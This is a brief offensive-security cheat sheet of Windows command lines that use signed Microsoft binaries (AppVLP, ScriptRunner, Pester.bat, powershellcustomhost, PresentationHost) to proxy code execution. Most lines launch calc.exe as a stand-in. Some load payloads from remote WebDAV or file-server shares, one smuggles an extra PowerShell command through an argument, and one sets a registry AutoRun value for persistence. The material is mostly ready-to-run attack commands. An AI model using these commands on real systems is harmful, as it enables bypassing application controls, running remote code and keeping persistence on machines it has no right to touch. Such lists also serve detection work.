Code Execution...

Generally useless ways to exec code.

appvlp.exe

C:\Program Files (x86)\Microsoft Office\root\client\AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe', '', '', 'open', 1)"
C:\Program Files (x86)\Microsoft Office\root\client\AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
C:\Program Files (x86)\Microsoft Office\root\client\AppVLP.exe \\webdav\calc.bat

scriptrunner.exe

C:\Windows\System32\ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
C:\Windows\System32\ScriptRunner.exe -appvscript powershell.exe -args

pester.bat

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat help  "; Get-Process"

powershellcustomhost.exe (Likely installed with IIS)

C:\Program Files\IIS\Microsoft Web Deploy V3\Scripts\powershellcustomhost.exe calc.ps1

presentationhost.exe

PresentationHost.exe file://c:\windows\system32\calc.exe

command processor

reg add "HKCU\Software\Microsoft\Command Processor" /v AutoRun /d "start calc.exe"
open a command prompt and calculate.